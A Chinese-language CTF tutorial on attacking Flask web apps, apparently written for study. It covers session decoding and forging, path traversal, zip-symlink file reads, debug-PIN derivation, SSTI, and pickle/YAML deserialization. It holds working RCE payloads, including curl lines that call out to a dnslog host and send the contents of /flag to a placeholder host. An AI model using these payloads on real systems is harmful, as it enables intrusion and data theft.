介绍

Python-Flask简介

Flask是一个Web应用程序框架,使用Python编写。该软件由ArminRonacher开发,他领导着Pocco国际Python爱好者小组。该软件基于WerkzeugWSGI工具箱和Jinja2模板引擎.

Flask有许多扩展,例如ORM、窗体验证工具、文件上传、身份验证,

使用Flask可以快速地搭建一个WEB应用,Flask默认使用Jinja2作为模板,Flask会自动配置Jinja 模板而不需要其他配置

本文所有程序已打包:/static/post/CTF_Python_Flask/ext/ext.zip

一个简单的示例

基本的Flask Web应用

源码

Flask应用的默认端口是5000,可以使用port=指定端口

flask_basic.py

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask

app = Flask(__name__)

@app.route('/')
def hello_world():
return 'Hello Flask!'

if __name__ == '__main__':
# 默认值:host=127.0.0.1, port=5000, debug=false
#使用port=指定端口:app.run(port=)
app.run()

访问

直接访问,可见

ss17001019887293

带获取GET请求参数功能的Flask Web应用

源码

flask_basic_get.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask, request

app = Flask(__name__)

@app.route('/')
def hello_world():
try:
#GET传参时的参数为name
r = request.args.get('name')
return "Hello " + r
except:
pass

return "Hello"

if __name__ == '__main__':
app.run()

访问

get传参name=abc可见

image-20221005182745728

带获取POST请求参数功能的Flask Web应用

源码

flask_basic_post.py

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=['POST'])
def hello_world():
r = request.form.get('name')
print(r)
return "Hello " + r

if __name__ == '__main__':
app.run()

访问

post传参name=a后可见

ss167204056593104

带session功能的Flask Web应用

源码

flask_basic_session.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import os
import re
import time
import subprocess
from flask import Flask, make_response, session

app = Flask(__name__)
app.config['SECRET_KEY'] = 'AAAAAAAAAA'

def response(content, status):
resp = make_response(content, status)
return resp


@app.route('/', methods=['GET'])
def main():
if not session.get('user'):
session['user'] = 'Guest'
try:
user = session.get('user')
return 'Hello ' + user
except:
return response("Not Found.", 404)


if __name__ == '__main__':
app.run()

访问

可以看到成功获取了session中user的值

ss18430702336424

Flask的session的内容放在客户端中的cookie

ss1847013186112106

CTF中的Flask应用

SESSION相关

获取SESSION中保存的重要信息

flask中session是保存在客户机上的,并且只需进行简单的base64解码操作即可读取session的内容

flask在生成session时会使用app.config[‘SECRET_KEY’]中的值作salt对session进行签名

也就是说,flask保证session不被随意篡改,但不保证session的内容不随意泄露

可以使用以下程序获取session内容

源码

flask_session_decode.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

例如有session如下

1
eyJ1cGRpciI6ImZpbGVpbmZvLy4uIiwidXNlciI6IkFkbWluaXN0cmF0b3IifQ.Y0Fj2g.UXNKMoSXrDAqOt90FWrOtZa9iNI

解码命令

1
python flask_session_decode.py session内容

ss17891224554347

SESSION伪造

伪造的SESSION可以达到修改信息的目的(因为flask的session存放在客户端)

使用以下程序可以伪造session

flask_session_cookie_manager3.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e


if __name__ == "__main__":
# Args are only relevant for __main__ usage

## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")

## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)

## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)

## get args
args = parser.parse_args()

## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))

encode.py

1
2
3
4
5
6
7
8
9
10
from flask_session_cookie_manager3 import FSCM


secret_key = "engine-1"
data = '{"updir":"fileinfo/..","user":"Administrator"}'


d = FSCM.encode(secret_key, data)

print(d)

使用方法

命令行使用

注意需要python3

1
python flask_session_cookie_manager3.py encode -s "secret的值" -t "内容"

以调用包的形式

将flask_session_cookie_manager3.py和encode.py放在同一个目录

然后运行encode.py,结果就是伪造的session

ss17290505699475

任意文件读取

目录穿越

2022网鼎杯-web669

直接读取文件、参数可控且过滤不全

以下为部分关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#.............
# 其它部分已省略
@app.route('/<path:file>', methods=['GET'])
def download(file):
if session.get('updir'):
basedir = session.get('updir')
try:
path = os.path.join(basedir, file).replace('../', '')
if os.path.isfile(path):
return send_file(path)
else:
return response("Not Found.", 404)
except:
return response("Failed.", 500)

#.............
# 其它部分已省略

由于对../的处理只是简单使用replace方法进行替换置空,因此使用双写../(....//)即可进行绕过

1
path = os.path.join(basedir, file).replace('../', '')

然后接下来使用flask的send_file模块读取文件

1
2
if os.path.isfile(path):
return send_file(path)

实现了任意文件读取

文件上传(配合软链接)

2022美团杯-OnlineUnzip

题目允许用户上传zip文件

以下代码是服务端使用unzip命令解压用户上传的zip文件的实现

unzip命令默认禁止了zip slip,即虽然zip文件可以打包包含../路径的文件,但unzip命令解压时会忽略../(避免了任意写文件)

zip slip

通过目录遍历文件名(例如../../evil.sh)的精心构建的存档文件攻击者可以通过Zip Slip 漏洞把恶意文件复制到操作系统中(超出应用本身的控制范围之外)。Zip Slip漏洞可影响多种存档格式,包括zip、tar、jar、war、cpio、apk、rar和7z。

1
2
3
4
5
6
7
8
9
10
11
#.............
# 其它部分已省略
def extractFile(filepath):
extractdir=filepath.split('.')[0]
if not os.path.exists(extractdir):
os.makedirs(extractdir)
os.system(f'unzip -o {filepath} -d {extractdir}')
return redirect(url_for('display',extractdir=extractdir))

#.............
# 其它部分已省略

解压的文件由以下代码实现文件列表展示(使用os.listdir进行目录读取,使用open进行文件读取)

不允许出现..,避免了目录穿越

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@app.route('/display', methods=['GET'])
@app.route('/display/', methods=['GET'])
@app.route('/display/<path:extractdir>', methods=['GET'])
def display(extractdir=''):
if re.search(r"\.\.", extractdir, re.M | re.I) != None:
return "Hacker?"
else:
if not os.path.exists(extractdir):
return make_response("error", 404)
else:
if not os.path.isdir(extractdir):
f = open(extractdir, 'rb')
response = make_response(f.read())
response.headers['Content-Type'] = 'application/octet-stream'
return response
else:
fn = os.listdir(extractdir)
fn = [".."] + fn
f = open("templates/template.html")
x = f.read()
f.close()
ret = "<h1>文件列表:</h1><br><hr>"
for i in fn:
tpath = os.path.join('/display', extractdir, i)
ret += "<a href='" + tpath + "'>" + i + "</a><br>"
x = x.replace("HTMLTEXT", ret)
return x

创建一个根目录的软连接

1
ln -s / root_dir

然后进行zip压缩(-y参数用于保持软连接)

1
zip -r myzip.zip root_dir -y

ss18430702848089

zip内容如下

ss178606077164111

上传之后即可遍历根目录,并读取文件

如何避免目录穿越

避免用户直接控制读取文件的参数从而能够读取磁盘上的任意文件

使用静态资源

所有静态资源可以被访问者直接获取

默认位置

FLASK APP运行目录下的static文件夹为静态目录

1
2
3
4
5
6
from flask import Flask

# 创建flask的应用对象
# __name__表示当前的模块名称
# 模块名: flask以这个模块所在的目录为根目录,默认这个目录中的static为静态目录,templates为模板目录
app = Flask(__name__)
设置静态目录
1
2
3
4
5
6
>from flask import Flask

app = Flask(import_name=__name__,
static_url_path='/static', # 配置静态文件的访问 url 前缀
static_folder='static' # 配置静态文件的文件夹
)

引用自https://blog.51cto.com/u_11239407/5437426

使用Flask的动态路由

(URL路径参数)

参数类型说明

动态路由的参数类型默认是 string,但是也可以指定其他类型,比如数字 int 等

类型 说明
string 默认,可以不用写
int 同 int,但是仅接受浮点数
float 同 int,但是仅接受浮点数
path 和 string 相似,但接受斜线

引用自https://blog.51cto.com/u_12020737/3090824

示例

用户通过访问/file/id读取信息

通过open直接打开文件

1
2
3
4
5
6
7
8
9
10
11
@app.route('/file/<int:id>')
def user_info(id):
try:
path = f'static/{id}.json'
if os.path.isfile(path):
with open(path, 'rb') as file:
return file.read()
except:
return 'Err', 500

return '404 Not Found', 404

通过flask的sendfile模块

1
2
3
4
5
6
7
8
9
10
11
12
from flask import send_file

@app.route('/file/<int:id>')
def user_info(id):
try:
path = f'static/{id}.json'
if os.path.isfile(path):
return send_file(path)
except:
return 'Err', 500

return '404 Not Found', 404

RCE(远程代码/命令执行)

通过代码中存在的漏洞

一个简单的计算表达式的服务,使用了eval函数

get传参eval即可代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from flask import Flask, request

app = Flask(__name__)


@app.route('/')
def hello_world():
try:

r = request.args.get('eval')
return f"Result:{eval(r)}"
except Exception as e:
print(e)
pass

return "Hello"

if __name__ == '__main__':
app.run()

传参如下实现无回显命令执行(相当于执行os.system(),执行curl y3j4ey.dnslog.cn

1
__import__('os').system('curl y3j4ey.dnslog.cn')

ss16560312799964

DNSLog显示有请求

ss187201218984112

通过伪造debug pin码(需要读取主机上几个文件)

(前提是开启调试模式)

ss18430704421921

示例程序

flask_basic_get_debug_pin.py

由于没有处理r为None的情况,就把None Type的r直接与字符串”Hello “拼接导致出错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, request

app = Flask(__name__)

@app.route('/')
def hello_world():
r = request.args.get('name')
if r != '':
return "Hello " + r

else:
return "Hello"

if __name__ == '__main__':
app.run(debug=True)

报错界面

ss18141218343357

点击右边小图标可进入调试模式

ss18210322110140104

要求输入pin码

ss16241224978891

可以以交互模式执行python程序

ss16930831101151141

需要

获取启动Flask应用的用户名(可以读取/etc/passwd获取)(获取username)

一般默认:flask.app(获取modname)

flask目录下的一个app.py的绝对路径(可以通过报错页面看到)(获取app.py的绝对路径)(类似:/usr/local/lib/python3.5/site-packages/flask/app.py)

ss178606047699104

以及读取以下几个文件

  • /sys/class/net/eth0/address(可能不是eth0,可能是ensxx)(获取网卡地址)

  • /proc/self/cgroup、/etc/machine-id、/proc/sys/kernel/random/boot_id(获取machine_id)

坑点:有的版本的flask只要读到三个文件中任意一个文件即可,

​ 有的版本从/etc/machine-id、/proc/sys/kernel/random/boot_id中任意一个文件读到值后就和/proc/self/cgroup中的id值拼接)

pin码生成程序如下(适用于新版的flask)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485377892354',# str(uuid.getnode()), /sys/class/net/ens33/address
'32e48d371198e8420c53b0a1fa37e94d'# get_machine_id(), /etc/machine-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)

新旧版本flask debug pin码生成可以参考:https://blog.csdn.net/qq_42303523/article/details/124232532

区别是旧版计算摘要信息(digest)用的是md5,新版计算摘要信息用的是sha1

SSTI(模板注入)

在实例化Flask APP对象时可以设置模板存放位置,然后flask渲染模板时会在此位置下找

1
2
app = Flask(import_name=__name__,
template_folder='templates') # 配置模板文件的文件夹

Flask默认使用Jinja 2作为模板引擎

Jinja的语法有以下几种:

1
2
3
4
5
6
7
{%....%}语句(Statements)

{f .…H}打印模板输出的表达式(Expressions)

{#....#}注释

#...##行语句(Line Statements)

一个基本的flask模板使用

在字符串中使用模板

可以直接在字符串中使用{{` `}}{% ` `%}等来制作模板

flask_basic_render.py

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/')
def hello_world():
n = "aaa"
return render_template_string("Hello {{name}}", name=n)

if __name__ == '__main__':
app.run()

效果如下

ss183704038411778

在模板文件中

可以写在文件,比如index.html

然后将index.html放在templates文件夹中(默认模板文件夹是templates)

1
2
3
4
<html>
<title>Title</title>
<p>{{content}}</p>
</html>

渲染模板

flask_basic_ren_html.py

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask, render_template

app = Flask(__name__)

@app.route('/')
def hello_world():
c = "Hello"
return render_template("index.html", content=c)

if __name__ == '__main__':
app.run()

效果如下

ss1786060578104100

可以发现{{content}}已经被渲染了

ss175711189913496

一个基本的ssti漏洞

flask_basic_get_ssti.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route('/')
def hello_world():
name='guest'

r = request.args.get('name')
if r != '' and r != None:
name = r
return render_template_string("Hello %s" % name)

if __name__ == '__main__':
app.run()

代码执行

执行os.popen

1
{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
1
{%print(lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")()%}

寻找可利用类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
__class__            类的一个内置属性,表示实例对象的类。

__base__ 类型对象的直接基类

__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性

__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。

__subclasses__() 返回这个类的子类集合

__init__ 初始化类,返回的类型是function,通过此方法来调用 __globals__方法

__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。

__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里

__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。

__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')

__builtins__ 这里 __builtins__ 是内建名称空间,是这个模块本身定义的一个名称空间,在这个内建名称空间中存在一些我们经常用到的内置函数(即不需要导入包即可调用的函数)如:print()、str()还包括一些异常和其他属性。

__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,

__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。

url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。

get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且get_flashed_messages.__globals__['__builtins__']含有current_app。

lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}

current_app 应用上下文,一个全局变量。

request.args.x1 get传参

request.values.x1 所有参数

request.cookies cookies参数

request.headers 请求头参数

request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)

request.data post传参 (Content-Type:a/b)

request.json post传json (Content-Type: application/json)

config 当前application的所有配置。

g {{g}}得到<flask.g of 'flask_ssti'>

ss17040510929592

读取配置信息

当一些代码执行、命令执行的函数被阻拦,重要信息可能就在config中

例如SECRET KEY

1
{{config}}

反序列化

Pickle反序列化

OPCODE

V0版本的opencode

指令 描述 具体写法 栈上的变化
c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新
序列化

(打印的序列化pickle数据并未包含rce部分)

1
2
3
4
5
6
7
8
9
10
import pickle

class Student():
a = 'asd'
b = 123

a = new Student()
payload = pickle.dumps(a)

print(payload)

ss16751031578193

反序列化

(payload已经过修改)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle

class Student():
a = 'asd'
b = 123

payload = b'''c__main__
Student
)\x81}(V__setstate__
cos
system
ubVwhoami
b.'''

pickle.loads(payload)

ss17860602667575

全局变量覆盖

未完待更

R指令RCE
1
2
3
4
b'''(cos
system
S'whoami'
R.'''
i指令RCE
1
2
3
4
b'''(S"whoami"
ios
system
.'''
o指令RCE
1
2
3
4
b'''(cos
system
S'whoami'
o.'''
b指令RCE
1
2
3
4
5
6
7
b'''c__main__
Student
)\x81}(V__setstate__
cos
system
ubVwhoami
b.'''

RCE的前提是有Student类

1
2
3
class Student():
a = 'asd'
b = 123
强网杯2022-crash

仅过滤了R指令

此题由于过滤了secret不能直接变量覆盖,但是可以通过代码执行来进行变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#.............
# 其它部分已省略
import admin
#.............
# 其它部分已省略
app.secret_key=random.randbytes(12)

class User:
def __init__(self, username,password):
self.username=username
self.token=hash(password)

def get_password(username):
if username=="admin":
return admin.secret
else:
return session.get("password")

@app.route('/balancer', methods=['GET', 'POST'])
def flag():
pickle_data=base64.b64decode(request.cookies.get("userdata"))
if b'R' in pickle_data or b"secret" in pickle_data:
return "You damm hacker!"
os.system("rm -rf *py*")
userdata=pickle.loads(pickle_data)
if userdata.token!=hash(get_password(userdata.username)):
return "Login First"
if userdata.username=='admin':
return "Welcome admin, here is your next challenge!"
return "You're not admin!"

#.............
# 其它部分已省略

(1)构造代码执行进行变量覆盖(i指令)

使用exec(类似eval)

1
2
3
4
b'''(S'exec('admin.se'+'cret="aaaa"')'
i__builtin__
exec
.'''

(2)直接命令执行(i指令)

使用os.system

1
2
3
4
b'''(S"curl xxx.xxxx/?=`cat /flag`"
ios
system
.'''

YAML反序列化

基本的程序
1
2
3
4
5
6
7
8
import yaml

payload = '''!!python/object/new:bytes
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').popen('whoami"]'''

yaml.load(payload)
1
2
3
4
5
6
import yaml


payload = b"""!!python/object/new:subprocess.check_output [["whoami"]]"""

yaml.load(payload.decode("utf-8"), Loader=yaml.Loader)

写在最后

未完待更